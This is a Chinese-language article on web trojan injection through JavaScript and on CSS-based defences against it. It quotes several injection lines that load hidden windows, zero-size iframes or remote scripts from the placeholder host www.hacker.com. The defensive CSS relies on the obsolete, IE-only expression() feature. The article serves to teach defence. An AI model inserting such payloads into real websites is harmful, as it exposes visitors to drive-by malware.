解析JS木馬的攻與防

網站掛馬如今已經成爲黑客發起網絡攻擊的最主要方式之一,因此防範來自Web的安全威脅,顯得格外重要,本文將介紹一些常見的JS掛馬現象以及如何去應對。

  木馬一直是黑客的拿手技量。善於用木馬的黑客,可以在原來的入侵基礎之上達到更大的目的。如今,雖然木馬的種類有很多。但其中IFRAME掛馬比較早,相應的預防措施也比較多,其中用CSS配合JS腳本進行預防是主流方式。可這種預防方式也存在安全隱患,JS腳本也可以被用來掛馬,令人防不勝防。我們下面要介紹反擊JS掛馬的方法。

  JS掛馬溯源

  當IFRAME逐漸被黑客濫用的時候,有經驗的安全工程師也開始研究相應的對策,一段時間內各種阻止IFRAME掛馬的方法不斷涌現,其中通用性較高的就是利用CSS配合JS腳本防禦IFRAME掛馬。

  而黑客也發現,很多網站都會讓網頁調用JS腳本來實現廣告等諸多特效,如果將木馬掛在JS腳本中,所有調用該JS腳本的網頁都等同於被掛上了木馬,對於需要肉雞羣的黑客而言是一勞永逸,因此JS腳本掛馬逐漸開始被黑客應用。

  小百科:JS腳本是JavaScript腳本語言的簡稱,它是一種面向對象的腳本語言,目前廣泛用於動態網頁的編程。需要提示大家的是,JavaScript和Java除了語法上有一些相似之處,以及都能夠當作網頁的編程語言以外,兩者是完全不相干的。而JavaScript與Jscript也不同,Jscript是微軟爲了迎戰JavaScript推出的腳本語言。

  雖然JavaScript作爲給非程序人員的腳本語言向大衆推廣,但是JavaScript是一門具有豐富特性的語言,它有着和其他編程語言一樣的複雜性。實際上,你必須對JS有紮實的理解才能用它來編寫比較複雜的程序,作爲一名安全工程師,掌握JS腳本在工作中會有很大的幫助。

  掛馬原理一點通

  JS腳本掛馬對於黑客而言,可以說優點多得數不過來,首先JS腳本在掛馬時可以直接將JS代碼寫在網頁中,也可以通過注入網頁,讓網站遠程調取異地JS腳本。此外,JS掛馬插入Web頁面的方法有幾十種,絕對夠菜鳥們眼花繚亂,無從辨別木馬在何處。

  IFRAME掛馬相對於安全工程師而言,如同一個穿着鮮紅顏色外衣的劫匪,招搖而扎眼,很容易被發現。但是利用JS掛馬就意味着這個劫匪擁有了一張可以隨時變換的面孔,而且它還能夠隨時更換衣服。這樣的劫匪在安全工程師搜查時,很容易矇混過關,導致木馬久殺不絕。

  JS掛馬攻防實錄

  攻現在最多見的JS掛馬方法有兩種,一種是直接將JavaScript腳本代碼寫在網頁中,當訪問者在瀏覽網頁時,惡意的掛馬腳本就會通過用戶的瀏覽器悄悄地打開網馬窗口,隱藏地運行。

  這種方法使用的關鍵代碼如下:

 

window.open("http://www.hacker.com/木馬.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");

 

  這種代碼往往很長,很容易被安全工程師發現,而且沒有經驗的黑客也喜歡將“width”和“height=”參數設爲“0”,但是設置爲0後,可能會出現惡意代碼不運行的情況。

  另外一種JS掛馬方式是,黑客先將掛馬腳本代碼,寫入Windows中的寫字板另存爲後綴爲.js的腳本文件,並上傳到自己指定的網址。這時黑客只需要在受害者的網站中寫入:

 

<script src="http://www.hacker.com/木馬腳本.js"></script>

 

  或者

 

    document.write("<div style='display:none'>") 
    document.write("<iframe src="網頁木馬地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>") 
    document.write("</div>")

 

  就成功地將木馬掛到了對方的網頁中了。

  小提示:黑客還可以根據情況隨機變換插入的JS掛馬方法,例如黑客有可能會將腳本寫爲:

 

<div style="behaviour: url(http://www.hacker.com/木馬腳本.js);">

 

  或者:

 

<iframe src="vbscript:[掛馬腳本]">

 

  等等……

  防第一種JS掛馬方式,不方便,用得非常少,而第二種JS掛馬方式纔是當前主流的,所以我們主要針對它進行防禦。方法就是阻止Src請求的異地外的JS腳本,代碼如下:

 

    iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');} 
    script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}

 

  不過這種方法的缺點就是網站的訪問者將不能看到被掛了JS木馬的相關網頁。

  所以我們爲安全工程師提供了一段可以中止JS腳本運行的CSS代碼,這段代碼會讓異地外域的JS文件在使用document.write()時,被document.close()強制關閉。這個時侯JS掛馬的內容往往還沒有來得及寫完,只有部分被強制輸出了,Writer後面的內容再不會被寫入訪問者的電腦中,從而起到防範JS腳本掛馬的作用。

 

    <title>讓JS掛馬中止的CSS代碼</title> 
    <style type="text/css" id="shudoo"> 
    /*<![CDATA[*/ 
    iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');} 
    script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');} 
    /*]]>*/ 
    </style>

 

  我們雖然能夠巧妙地利用CSS代碼防範IFRAME和JS腳本掛馬,但是爲什麼網頁掛馬還是層出不窮?這恐怕就要說一說CSS掛馬了,下次我們詳細討論。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章